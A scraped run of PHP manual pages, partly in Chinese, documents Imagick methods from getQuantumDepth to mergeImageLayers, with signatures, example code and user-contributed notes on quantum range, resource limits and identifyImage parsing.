    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.bmp";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Quantum Depth
        // ---------------------------------------------

    $imagick_type_quantum_depth = $imagick_type->getQuantumDepth();

        // Print Results
        // ---------------------------------------------

    print("<pre>");
    print_r($imagick_type_quantum_depth);
    print("</pre>");

?>

Output:

Array
(
    [quantumDepthLong] => 16
    [quantumDepthString] => Q16
)


Returns the Imagick quantum range

  • ? Imagick::getQuantumDepth
  • Imagick::getRegistry ?
  • PHP Manual
  • Imagick
  • Returns the Imagick quantum range

Imagick::getQuantumRange

(PECL imagick 2, PECL imagick 3)

Imagick::getQuantumRange — Returns the Imagick quantum range

说明

public static Imagick::getQuantumRange(): array

Returns the quantum range for the Imagick instance.

参数

此函数没有参数。

返回值

Returns an associative array containing the quantum range as an int ("quantumRangeLong") and as a string ("quantumRangeString").

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

holdoffhunger at gmail dot com 02-May-2012 09:42
The getQuantumRange is a useful function, since many of the ImageMagick functions accept parameters from 0 to a maximum of the Quantum Range.  When getting a return value for this, it doesn't return a string.  It actually returns an array, with one type being a String ('quantumRangeLong') and the other type being a Long Int ('quantumRangeString').  Here's some sample code and the results, given a color, BMP file photograph that is 600x450 pixels...

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.bmp";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Quantum Range
        // ---------------------------------------------

    $imagick_type_quantum_range = $imagick_type->getQuantumRange();

        // Print Results
        // ---------------------------------------------

    print("<pre>");
    print_r($imagick_type_quantum_range);
    print("</pre>");

?>

Output:

Array
(
    [quantumRangeLong] => 65535
    [quantumRangeString] => 65535
)


Get a StringRegistry entry

  • ? Imagick::getQuantumRange
  • Imagick::getReleaseDate ?
  • PHP Manual
  • Imagick
  • Get a StringRegistry entry

Imagick::getRegistry

(PECL imagick 3 >= 3.3.0)

Imagick::getRegistry — Get a StringRegistry entry

说明

public static Imagick::getRegistry(string $key): string

Get the StringRegistry entry for the named key or false if not set.

参数

key

The entry to get.

返回值

User Contributed Notes

There are no user contributed notes for this page.


Returns the ImageMagick release date

  • ? Imagick::getRegistry
  • Imagick::getResource ?
  • PHP Manual
  • Imagick
  • Returns the ImageMagick release date

Imagick::getReleaseDate

(PECL imagick 2, PECL imagick 3)

Imagick::getReleaseDate — Returns the ImageMagick release date

说明

public static Imagick::getReleaseDate(): string

Returns the ImageMagick release date as a string.

参数

此函数没有参数。

返回值

Returns the ImageMagick release date as a string.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Returns the specified resource's memory usage

  • ? Imagick::getReleaseDate
  • Imagick::getResourceLimit ?
  • PHP Manual
  • Imagick
  • Returns the specified resource's memory usage

Imagick::getResource

(PECL imagick 2, PECL imagick 3)

Imagick::getResource — Returns the specified resource's memory usage

说明

public static Imagick::getResource(int $type): int

Returns the specified resource's memory usage in megabytes.

参数

type

Refer to the list of resourcetype constants.

返回值

Returns the specified resource's memory usage in megabytes.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Returns the specified resource limit

  • ? Imagick::getResource
  • Imagick::getSamplingFactors ?
  • PHP Manual
  • Imagick
  • Returns the specified resource limit

Imagick::getResourceLimit

(PECL imagick 2, PECL imagick 3)

Imagick::getResourceLimit — Returns the specified resource limit

说明

public static Imagick::getResourceLimit(int $type): int

Returns the specified resource limit.

参数

type

One of the resourcetype constants. The unit depends on the type of the resource being limited.

返回值

Returns the specified resource limit in megabytes.

错误／异常

错误时抛出 ImagickException。

参见

  • Imagick::setResourceLimit() - Sets the limit for a particular resource

User Contributed Notes

holdoffhunger at gmail dot com 23-May-2012 11:43
By using the PHP function getResourceLimit, you'll be given the maximum allowed amount of a particular type of resource.  The integer returned is the number of bytes allowed to the resource you specified in the input parameter.  For the input parameter options, you have the predefined ResourceType constants for the ImageMagick package.  In the code, they look like imagick::RESOURCETYPE_AREA, but you have "_VALUE" options of: undefined, area, disk, file, map, and memory.

What do each of these particular values represent?  The ImageMagick official documentation is helpful in that matter.  File indicates "maximum number of open pixel cache files", Area indicates "maximum area in bytes of any one image that can reside in the pixel cache memory", Memory indicates "maximum amount of memory in bytes to allocate for the pixel cache", map indicates "maximum amount of memory map in bytes to allocate for the pixel cache", and disk indicates "maximum amount of disk space in bytes permitted for use by the pixel cache".  This is according to the Official ImageMagick Architecture page: http://www.imagemagick.org/script/architecture.php .

The Official ImageMagick Resource page has more information on how these parameters function.  For instance, the files limit documentation mentions that when a user goes over the limit, any more files will be "cached to disk are closed and reopened on demand."  (Again, a performance hit.)  See that page here: http://www.imagemagick.org/script/resources.php .

What happens when someone exceeds their limit?  It doesn't cause the PHP script to error out, but simply, it relocates their user activity to non-cache memory (i.e.: virtual memory, which is slow).  So, even if you're worried about the limit, it really only indicates the point in a server at which a user's request is devalued compared to other user requests.

And remember, you can always set the defaults in the policy.xml file on your own server.

Some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.gif";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get/Display Resource Values
        // ---------------------------------------------

    print("Undefined: ");
    print($imagick_type->getResourceLimit(imagick::RESOURCETYPE_UNDEFINED));

    print("<br><br>Area: ");
    print($imagick_type->getResourceLimit(imagick::RESOURCETYPE_AREA));

    print("<br><br>Disk: ");
    print($imagick_type->getResourceLimit(imagick::RESOURCETYPE_DISK));

    print("<br><br>File: ");
    print($imagick_type->getResourceLimit(imagick::RESOURCETYPE_FILE));

    print("<br><br>Map: ");
    print($imagick_type->getResourceLimit(imagick::RESOURCETYPE_MAP));

    print("<br><br>Memory: ");
    print($imagick_type->getResourceLimit(imagick::RESOURCETYPE_MEMORY));

?>


Gets the horizontal and vertical sampling factor

  • ? Imagick::getResourceLimit
  • Imagick::getSize ?
  • PHP Manual
  • Imagick
  • Gets the horizontal and vertical sampling factor

Imagick::getSamplingFactors

(PECL imagick 2, PECL imagick 3)

Imagick::getSamplingFactors — Gets the horizontal and vertical sampling factor

说明

public Imagick::getSamplingFactors(): array

Gets the horizontal and vertical sampling factor.

参数

此函数没有参数。

返回值

Returns an associative array with the horizontal and vertical sampling factors of the image.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Returns the size associated with the Imagick object

  • ? Imagick::getSamplingFactors
  • Imagick::getSizeOffset ?
  • PHP Manual
  • Imagick
  • Returns the size associated with the Imagick object

Imagick::getSize

(PECL imagick 2, PECL imagick 3)

Imagick::getSize — Returns the size associated with the Imagick object

说明

public Imagick::getSize(): array

Get the size in pixels associated with the Imagick object, previously set by Imagick::setSize().

Note:

This method just returns the size that was set using Imagick::setSize(). If you want to get the actual width / height of the image, use Imagick::getImageWidth() and Imagick::getImageHeight().

参数

此函数没有参数。

返回值

Returns the size associated with the Imagick object as an array with the keys "columns" and "rows".

示例

Example #1 Getting the size of a raw RGB image set at 200x400, after scaling to 400x800 (compared to width / height)

<?php
//Set size first and then load the raw image
$img = new Imagick();
$img->setSize(200, 400);
$img->readImage("image.rgb");

$img->scaleImage(400, 800);

$size = $img->getSize();
print_r($size);

echo $img->getImageWidth()."x".$img->getImageHeight();
?>

以上示例会输出：

Array
(
    [columns] => 200
    [rows] => 400
)
400x800

User Contributed Notes

There are no user contributed notes for this page.


Returns the size offset

  • ? Imagick::getSize
  • Imagick::getVersion ?
  • PHP Manual
  • Imagick
  • Returns the size offset

Imagick::getSizeOffset

(PECL imagick 2, PECL imagick 3)

Imagick::getSizeOffset — Returns the size offset

说明

public Imagick::getSizeOffset(): int

Returns the size offset associated with the Imagick object. 此方法在Imagick基于ImageMagick 6.2.9以上版本编译时可用。

参数

此函数没有参数。

返回值

Returns the size offset associated with the Imagick object.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Returns the ImageMagick API version

  • ? Imagick::getSizeOffset
  • Imagick::haldClutImage ?
  • PHP Manual
  • Imagick
  • Returns the ImageMagick API version

Imagick::getVersion

(PECL imagick 2, PECL imagick 3)

Imagick::getVersion — Returns the ImageMagick API version

说明

public static Imagick::getVersion(): array

Returns the ImageMagick API version as a string and as a number.

参数

此函数没有参数。

返回值

Returns the ImageMagick API version as a string and as a number.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

pasel at blueend dot com 27-Nov-2013 01:18
You may check your version like this:

<?php
$v = Imagick::getVersion();
preg_match('/ImageMagick ([0-9]+\.[0-9]+\.[0-9]+)/', $v['versionString'], $v);
if(version_compare($v[1],'6.2.8')<=0){
   print "Your ImageMagick Version {$v[1]} is '6.2.8' or older, please upgrade!";
}
?>
holdoffhunger at gmail dot com 08-May-2012 11:37
The getVersion function for the ImageMagick class returns an array, with two values, one linked to the key value of 'versionNumber' and another linked to the key value of 'versionString'.  The version number provides a simple integer, while the string provides the actual x.y.z version number, the release date, and the URL for the ImageMagick site.

Today (May 8, 2012), when calling this function, the results are...

Number: 1654
String: ImageMagick 6.7.6-8 2012-05-02 Q16 http://www.imagemagick.org

Last month (around April 15, 2012), when calling this function, the results were...

Number: 1654
String: ImageMagick 6.7.6-1 2012-04-09 Q16 http://www.imagemagick.org

So, I'm not sure why the "Number" value has not changed, but the "String" value is definitely responding to changes in time.

The code for producing these results:

<?php

        // Author: holdoffhunger@gmail.com

    $imagick_version = Imagick::getVersion();

    $imagick_version_number = $imagick_version['versionNumber'];
    $imagick_version_string = $imagick_version['versionString'];

    print("Number: $imagick_version_number");

    print("<br>");

    print("String: $imagick_version_string");

?>
mwu at digitaltorque dot com 22-Feb-2011 11:40
Since it's not clear from the documention what this function returns:

print_r(imagick::getVersion());

Array
(
    [versionNumber] => 1632
    [versionString] => ImageMagick 6.6.0-4 2010-11-16 Q16 http://www.imagemagick.org
)


Replaces colors in the image

  • ? Imagick::getVersion
  • Imagick::hasNextImage ?
  • PHP Manual
  • Imagick
  • Replaces colors in the image

Imagick::haldClutImage

(PECL imagick 3)

Imagick::haldClutImage — Replaces colors in the image

说明

public Imagick::haldClutImage(Imagick $clut, int $channel = Imagick::CHANNEL_DEFAULT): bool

Replaces colors in the image using a Hald lookup table. Hald images can be created using HALD color coder.

参数

clut

Imagick object containing the Hald lookup image.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channel constants using bitwise operators. 缺省为Imagick::CHANNEL_DEFAULT. 参考此 通道常数列表

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Imagick::haldClutImage()

<?php
function haldClutImage($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imagickPalette = new \Imagick(realpath("images/hald/hald_8.png"));
$imagickPalette->sepiatoneImage(55);
$imagick->haldClutImage($imagickPalette);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Checks if the object has more images

  • ? Imagick::haldClutImage
  • Imagick::hasPreviousImage ?
  • PHP Manual
  • Imagick
  • Checks if the object has more images

Imagick::hasNextImage

(PECL imagick 2, PECL imagick 3)

Imagick::hasNextImage — Checks if the object has more images

说明

public Imagick::hasNextImage(): bool

Returns true if the object has more images when traversing the list in the forward direction.

参数

此函数没有参数。

返回值

Returns true if the object has more images when traversing the list in the forward direction, returns false if there are none.

User Contributed Notes

There are no user contributed notes for this page.


Checks if the object has a previous image

  • ? Imagick::hasNextImage
  • Imagick::identifyFormat ?
  • PHP Manual
  • Imagick
  • Checks if the object has a previous image

Imagick::hasPreviousImage

(PECL imagick 2, PECL imagick 3)

Imagick::hasPreviousImage — Checks if the object has a previous image

说明

public Imagick::hasPreviousImage(): bool

Returns true if the object has more images when traversing the list in the reverse direction

参数

此函数没有参数。

返回值

Returns true if the object has more images when traversing the list in the reverse direction, returns false if there are none.

User Contributed Notes

There are no user contributed notes for this page.


Formats a string with image details

  • ? Imagick::hasPreviousImage
  • Imagick::identifyImage ?
  • PHP Manual
  • Imagick
  • Formats a string with image details

Imagick::identifyFormat

(PECL imagick 3 >= 3.3.0)

Imagick::identifyFormat — Formats a string with image details

说明

public Imagick::identifyFormat(string $embedText): string|false

Replaces any embedded formatting characters with the appropriate image property and returns the interpreted text. See http://www.imagemagick.org/script/escape.php for escape sequences.

参数

embedText

A string containing formatting sequences e.g. "Trim box: %@ number of unique colors: %k".

返回值

Returns format 或者在失败时返回 false.

示例

Example #1 Imagick::identifyFormat()

<?php
$output = "Output of 'Trim box: %@ number of unique colors: %k' is: <br/>";
$imagick = new \Imagick(realpath("./images/artifact/mask.png"));
$output .= $imagick->identifyFormat("Trim box: %@ number of unique colors: %k");

?>

User Contributed Notes

There are no user contributed notes for this page.


Identifies an image and fetches attributes

  • ? Imagick::identifyFormat
  • Imagick::implodeImage ?
  • PHP Manual
  • Imagick
  • Identifies an image and fetches attributes

Imagick::identifyImage

(PECL imagick 2, PECL imagick 3)

Imagick::identifyImage — Identifies an image and fetches attributes

说明

public Imagick::identifyImage(bool $appendRawOutput = false): array

Identifies an image and returns the attributes. Attributes include the image width, height, size, and others.

参数

appendRawOutput

If true then the raw output is appended to the array.

返回值

Identifies an image and returns the attributes. Attributes include the image width, height, size, and others.

错误／异常

错误时抛出 ImagickException。

Example #1 Example Result Format

Array
(
    [imageName] => /some/path/image.jpg
    [format] => JPEG (Joint Photographic Experts Group JFIF format)
    [geometry] => Array
        (
            [width] => 90
            [height] => 90
        )

    [type] => TrueColor
    [colorSpace] => RGB
    [resolution] => Array
        (
            [x] => 300
            [y] => 300
        )

    [units] => PixelsPerInch
    [fileSize] => 1.88672kb
    [compression] => JPEG
    [signature] => 9a6dc8f604f97d0d691c0286176ddf992e188f0bebba98494b2146ee2d7118da
)

User Contributed Notes

rhuanpachecok at gmail dot com 23-May-2020 03:41
I have created a function to parse the "rawOutput" because the information provided by this function is quite useless.

function parseIdentify($info) {
    $lines = explode("\n", $info);

    $outputs = [];
    $output = [];
    $keys = [];

    $currSpaces = 0;
    $raw = false;

    foreach($lines as $line) {
        $trimLine = trim($line);

        if(empty($trimLine)) continue;

        if($raw) {
            preg_match('/^[0-9]+:\s/', $trimLine, $match);

            if(!empty($match)) {
                $regex = '/([\d]+):';
                $regex .= '\s(\([\d|\s]{1,3},[\d|\s]{1,3},[\d|\s]{1,3},[\d|\s]{1,3}\))';
                $regex .= '\s(#\w+)';
                $regex .= '\s(srgba\([\d|\s]{1,3},[\d|\s]{1,3},[\d|\s]{1,3},[\d|\s|.]+\)|\w+)/';

                preg_match($regex, $trimLine, $matches);
                array_shift($matches);

                $output['Image'][$raw][] = $matches;

                continue;
            }

            else {
                $raw = false;
                array_pop($keys);
            }
        }

        preg_match('/^\s+/', $line, $match);

        $spaces = isset($match[0]) ? strlen($match[0]) : $spaces = 0;
        $parts = preg_split('/:\s/', $trimLine, 2);

        $_key = ucwords($parts[0]);
        $_key = str_replace(' ', '', $_key);
        $_val = isset($parts[1]) ? $parts[1] : [];

        if($_key == 'Image') {
            if(!empty($output)) {
                $outputs[] = $output['Image'];
                $output = [];
            }

            $_val = [];
        }

        if($spaces < $currSpaces) {
            for($i = 0; $i < ($currSpaces - $spaces) / 2; $i++) {
                array_pop($keys);
            }
        }

        if(is_array($_val)) {
            $_key = rtrim($_key, ':');
            $keys[] = $_key;

            if($_key == 'Histogram' || $_key == 'Colormap') {
                $raw = $_key;
            }
        }

        $currSpaces = $spaces;
        $arr = &$output;

        foreach($keys as $key) {
            if(!isset($arr[$key])) {
                $arr[$key] = $_val;
            }

            $arr = &$arr[$key];
        }

        if(!is_array($_val)) {
            $arr[$_key] = $_val;
        }

    }

    $outputs[] = $output['Image'];

    return count($outputs) > 1 ? $outputs : $outputs[0];
}

Usage example:

$img = new Imagick('example.png');
$identify = parseIdentify($img->identifyImage(true)['rawOutput']);

But the "rawOutput" that this function returns only contains the first frame if it is a GIF. Alternatively you can use the command "identify" to get the data of all the frames:

$identify = parseIdentify(shell_exec('identify -verbose example.gif'));
php at ontheroad dot net dot nz 22-Nov-2010 08:04
If you use the option to append the raw output, you can extract the mime type from there.  I'm not sure what's going on in the background here, but it seems far less useful than the command line identify tool.
rob at OhReally dot nl 04-Jun-2008 06:49
The array returned by Imagick::identifyImage():

Array
(
    [imageName] => /some/path/image.jpg
    [format] => JPEG (Joint Photographic Experts Group JFIF format)
    [geometry] => Array
        (
            [width] => 90
            [height] => 90
        )

    [type] => TrueColor
    [colorSpace] => RGB
    [resolution] => Array
        (
            [x] => 300
            [y] => 300
        )

    [units] => PixelsPerInch
    [fileSize] => 1.88672kb
    [compression] => JPEG
    [signature] => 9a6dc8f604f97d0d691c0286176ddf992e188f0bebba98494b2146ee2d7118da
)

Looks like the only way to get the mimetype is getimagesize()...


Creates a new image as a copy

  • ? Imagick::identifyImage
  • Imagick::importImagePixels ?
  • PHP Manual
  • Imagick
  • Creates a new image as a copy

Imagick::implodeImage

(PECL imagick 2, PECL imagick 3)

Imagick::implodeImage — Creates a new image as a copy

说明

public Imagick::implodeImage(float $radius): bool

Creates a new image that is a copy of an existing one with the image pixels "imploded" by the specified percentage.

参数

radius

The radius of the implode

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Imagick::implodeImage()

<?php
function implodeImage($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->implodeImage(0.0001);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();

}

?>

User Contributed Notes

There are no user contributed notes for this page.


Imports image pixels

  • ? Imagick::implodeImage
  • Imagick::inverseFourierTransformImage ?
  • PHP Manual
  • Imagick
  • Imports image pixels

Imagick::importImagePixels

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::importImagePixels — Imports image pixels

说明

public Imagick::importImagePixels(
int $x,
int $y,
int $width,
int $height,
string $map,
int $storage,
array $pixels
): bool

Imports pixels from an array into an image. The map is usually 'RGB'. This method imposes the following constraints for the parameters: amount of pixels in the array must match width x height x length of the map. 此方法在Imagick基于ImageMagick 6.4.5以上版本编译时可用。

参数

x

The image x position

y

The image y position

width

The image width

height

The image height

map

Map of pixel ordering as a string. This can be for example RGB. The value can be any combination or order of R = red, G = green, B = blue, A = alpha (0 is transparent), O = opacity (0 is opaque), C = cyan, Y = yellow, M = magenta, K = black, I = intensity (for grayscale), P = pad.

storage

The pixel storage method. Refer to this list of pixel constants.

pixels

The array of pixels

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Imagick::importImagePixels() example

<?php

/* Generate array of pixels. 2000 pixels per color stripe */
$count = 2000 * 3;

$pixels =
array_merge(array_pad(array(), $count, 0),
array_pad(array(), $count, 255),
array_pad(array(), $count, 0),
array_pad(array(), $count, 255),
array_pad(array(), $count, 0));

/* Width and height. The area is amount of pixels divided
by three. Three comes from 'RGB', three values per pixel */
$width = $height = pow((count($pixels) / 3), 0.5);

/* Create empty image */
$im = new Imagick();
$im->newImage($width, $height, 'gray');

/* Import the pixels into image.
width * height * strlen("RGB") must match count($pixels) */
$im->importImagePixels(0, 0, $width, $height, "RGB", Imagick::PIXEL_CHAR, $pixels);

/* output as jpeg image */
$im->setImageFormat('jpg');
header("Content-Type: image/jpg");
echo $im;

?>

以上示例的输出类似于：

Output of example : Imagick::importImagePixels()

User Contributed Notes

There are no user contributed notes for this page.


Implements the inverse discrete Fourier transform (DFT)

  • ? Imagick::importImagePixels
  • Imagick::labelImage ?
  • PHP Manual
  • Imagick
  • Implements the inverse discrete Fourier transform (DFT)

Imagick::inverseFourierTransformImage

(PECL imagick 3 >= 3.3.0)

Imagick::inverseFourierTransformImage — Implements the inverse discrete Fourier transform (DFT)

说明

public Imagick::inverseFourierTransformImage(Imagick $complement, bool $magnitude): bool

Implements the inverse discrete Fourier transform (DFT) of the image either as a magnitude / phase or real / imaginary image pair.

Warning

本函数还未编写文档，仅有参数列表。

参数

complement

The second image to combine with this one to form either the magnitude / phase or real / imaginary image pair.

magnitude

If true, combine as magnitude / phase pair otherwise a real / imaginary image pair.

返回值

成功时返回 true。

User Contributed Notes

There are no user contributed notes for this page.


Adds a label to an image

  • ? Imagick::inverseFourierTransformImage
  • Imagick::levelImage ?
  • PHP Manual
  • Imagick
  • Adds a label to an image

Imagick::labelImage

(PECL imagick 2, PECL imagick 3)

Imagick::labelImage — Adds a label to an image

说明

public Imagick::labelImage(string $label): bool

Adds a label to an image.

参数

label

The label to add

返回值

成功时返回 true。

User Contributed Notes

There are no user contributed notes for this page.


Adjusts the levels of an image

  • ? Imagick::labelImage
  • Imagick::linearStretchImage ?
  • PHP Manual
  • Imagick
  • Adjusts the levels of an image

Imagick::levelImage

(PECL imagick 2, PECL imagick 3)

Imagick::levelImage — Adjusts the levels of an image

说明

public Imagick::levelImage(
float $blackPoint,
float $gamma,
float $whitePoint,
int $channel = Imagick::CHANNEL_DEFAULT
): bool

Adjusts the levels of an image by scaling the colors falling between specified white and black points to the full available quantum range. The parameters provided represent the black, mid, and white points. The black point specifies the darkest color in the image. Colors darker than the black point are set to zero. Mid point specifies a gamma correction to apply to the image. White point specifies the lightest color in the image. Colors brighter than the white point are set to the maximum quantum value.

参数

blackPoint

The image black point

gamma

The gamma value

whitePoint

The image white point

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Imagick::levelImage()

<?php
function levelImage($blackPoint, $gamma, $whitePoint) {
$imagick = new \Imagick();
$imagick->newPseudoimage(500, 500, 'gradient:black-white');

$imagick->setFormat('png');
$quantum = $imagick->getQuantum();
$imagick->levelImage($blackPoint / 100 , $gamma, $quantum * $whitePoint / 100);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

Maxim Lovchikov 28-Dec-2010 12:18
I have a trouble with this method because think that quantum range is 0 - 255.
But quantum range for levelImage is 0-65535. You can get quantum range with Imagick::getQuantumRange
There is a right piece of code

$img->levelImage (0, 1.0, 65535);


Stretches with saturation the image intensity

  • ? Imagick::levelImage
  • Imagick::liquidRescaleImage ?
  • PHP Manual
  • Imagick
  • Stretches with saturation the image intensity

Imagick::linearStretchImage

(PECL imagick 2, PECL imagick 3)

Imagick::linearStretchImage — Stretches with saturation the image intensity

说明

public Imagick::linearStretchImage(float $blackPoint, float $whitePoint): bool

Stretches with saturation the image intensity.

参数

blackPoint

The image black point

whitePoint

The image white point

返回值

成功时返回 true。

示例

Example #1 Imagick::linearStretchImage()

<?php
function linearStretchImage($imagePath, $blackThreshold, $whiteThreshold) {
$imagick = new \Imagick(realpath($imagePath));
$pixels = $imagick->getImageWidth() * $imagick->getImageHeight();
$imagick->linearStretchImage($blackThreshold * $pixels, $whiteThreshold * $pixels);

header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

SkepticaLee 11-Jun-2014 12:54
"Black" and "white" points here are pixel counts from the darkest and brightest ends respectively. To turn the darkest 90% of the pixels black, and the brightest 5% white, use the following:

<?php
$im = new Imagick ("some image.png");
list ($width, $height) = array_values ($im->getImageGeometry ());
$px = $width * $height;
$im->modulateImage (100, 0, 100);
$im->linearStretchImage ($px * 0.9, $px * 0.05);
$im->writeImage ("temp.jpg");
?>


Animates an image or images

  • ? Imagick::linearStretchImage
  • Imagick::listRegistry ?
  • PHP Manual
  • Imagick
  • Animates an image or images

Imagick::liquidRescaleImage

(PECL imagick 2 >= 2.2.0, PECL imagick 3)

Imagick::liquidRescaleImage — Animates an image or images

说明

public Imagick::liquidRescaleImage(
int $width,
int $height,
float $delta_x,
float $rigidity
): bool

This method scales the images using liquid rescaling method. This method is an implementation of a technique called seam carving. In order for this method to work as expected ImageMagick must be compiled with liblqr support. 此方法在Imagick基于ImageMagick 6.3.9以上版本编译时可用。

参数

width

The width of the target size

height

The height of the target size

delta_x

How much the seam can traverse on x-axis. Passing 0 causes the seams to be straight.

rigidity

Introduces a bias for non-straight seams. This parameter is typically 0.

返回值

成功时返回 true。

参见

  • Imagick::resizeImage() - Scales an image

User Contributed Notes

spider at man dot net 20-Nov-2011 11:00
<?php

    /* Create new object */
    $im = new Imagick( 'test.jpg' );

    /* Scale down */
    $im->liquidRescaleImage( 500, 200, 3, 25 );

    /* Display */
    header( 'Content-Type: image/jpg' );
    echo $im;

    ?>


List all the registry settings

  • ? Imagick::liquidRescaleImage
  • Imagick::magnifyImage ?
  • PHP Manual
  • Imagick
  • List all the registry settings

Imagick::listRegistry

(PECL imagick 3 >= 3.3.0)

Imagick::listRegistry — List all the registry settings

说明

public static Imagick::listRegistry(): array

List all the registry settings. Returns an array of all the key/value pairs in the registry

参数

此函数没有参数。

返回值

An array containing the key/values from the registry.

User Contributed Notes

There are no user contributed notes for this page.


Scales an image proportionally 2x

  • ? Imagick::listRegistry
  • Imagick::mapImage ?
  • PHP Manual
  • Imagick
  • Scales an image proportionally 2x

Imagick::magnifyImage

(PECL imagick 2, PECL imagick 3)

Imagick::magnifyImage — Scales an image proportionally 2x

说明

public Imagick::magnifyImage(): bool

Is a convenience method that scales an image proportionally to twice its original size.

参数

此函数没有参数。

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Imagick::magnifyImage()

<?php
function magnifyImage($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->magnifyImage();
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Replaces the colors of an image with the closest color from a reference image

  • ? Imagick::magnifyImage
  • Imagick::matteFloodfillImage ?
  • PHP Manual
  • Imagick
  • Replaces the colors of an image with the closest color from a reference image

Imagick::mapImage

(PECL imagick 2, PECL imagick 3)

Imagick::mapImage — Replaces the colors of an image with the closest color from a reference image

Warning

此函数在 Imagick 3.4.4 中被 废弃，强烈建议不要应用此函数。

说明

public Imagick::mapImage(Imagick $map, bool $dither): bool

参数

map

dither

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Changes the transparency value of a color

  • ? Imagick::mapImage
  • Imagick::medianFilterImage ?
  • PHP Manual
  • Imagick
  • Changes the transparency value of a color

Imagick::matteFloodfillImage

(PECL imagick 2, PECL imagick 3)

Imagick::matteFloodfillImage — Changes the transparency value of a color

Warning

此函数在 Imagick 3.4.4 中被 废弃，强烈建议不要应用此函数。

说明

public Imagick::matteFloodfillImage(
float $alpha,
float $fuzz,
mixed $bordercolor,
int $x,
int $y
): bool

Changes the transparency value of any pixel that matches target and is an immediate neighbor. If the method FillToBorderMethod is specified, the transparency value is changed for any neighbor pixel that does not match the bordercolor member of image.

参数

alpha

The level of transparency: 1.0 is fully opaque and 0.0 is fully transparent.

fuzz

The fuzz member of image defines how much tolerance is acceptable to consider two colors as the same.

bordercolor

An ImagickPixel object or string representing the border color.

x

The starting x coordinate of the operation.

y

The starting y coordinate of the operation.

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

更新日志

版本 | 说明
PECL imagick 2.1.0 | Now allows a string representing the color as the third parameter. Previous versions allow only an ImagickPixel object.

User Contributed Notes

There are no user contributed notes for this page.


Applies a digital filter

  • ? Imagick::matteFloodfillImage
  • Imagick::mergeImageLayers ?
  • PHP Manual
  • Imagick
  • Applies a digital filter

Imagick::medianFilterImage

(PECL imagick 2, PECL imagick 3)

Imagick::medianFilterImage — Applies a digital filter

Warning

此函数在 Imagick 3.4.4 中被 废弃，强烈建议不要应用此函数。

说明

public Imagick::medianFilterImage(float $radius): bool

Applies a digital filter that improves the quality of a noisy image. Each pixel is replaced by the median in a set of neighboring pixels as defined by radius.

参数

radius

The radius of the pixel neighborhood.

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Imagick::medianFilterImage()

<?php
function medianFilterImage($radius, $imagePath) {
$imagick = new \Imagick(realpath($imagePath));
@$imagick->medianFilterImage($radius);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Merges image layers

  • ? Imagick::medianFilterImage
  • Imagick::minifyImage ?
  • PHP Manual
  • Imagick
  • Merges image layers

Imagick::mergeImageLayers

(PECL imagick 2 >= 2.1.0, PECL imagick 3)

Imagick::mergeImageLayers — Merges image layers

说明

public Imagick::mergeImageLayers(int $layer_method): Imagick

Merges image layers into one. This method is useful when working with image formats that use multiple layers such as PSD. The merging is controlled using the layer_method which defines how the layers are merged. 此方法在Imagick基于ImageMagick 6.3.7以上版本编译时可用。

参数

layer_method

One of the Imagick::LAYERMETHOD_* constants

返回值

Returns an Imagick object containing the merged image.

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Imagick::mergeImageLayers()

<?php
function mergeImageLayers($layerMethodType, $imagePath1, $imagePath2) {

$imagick = new \Imagick(realpath($imagePath));

$imagick2 = new \Imagick(realpath($imagePath2));
$imagick->addImage($imagick2);
$imagick->setImageFormat('png');

$result = $imagick->mergeImageLayers($layerMethodType);
header("Content-Type: image/png");
echo $result->getImageBlob();
}

?>

参见

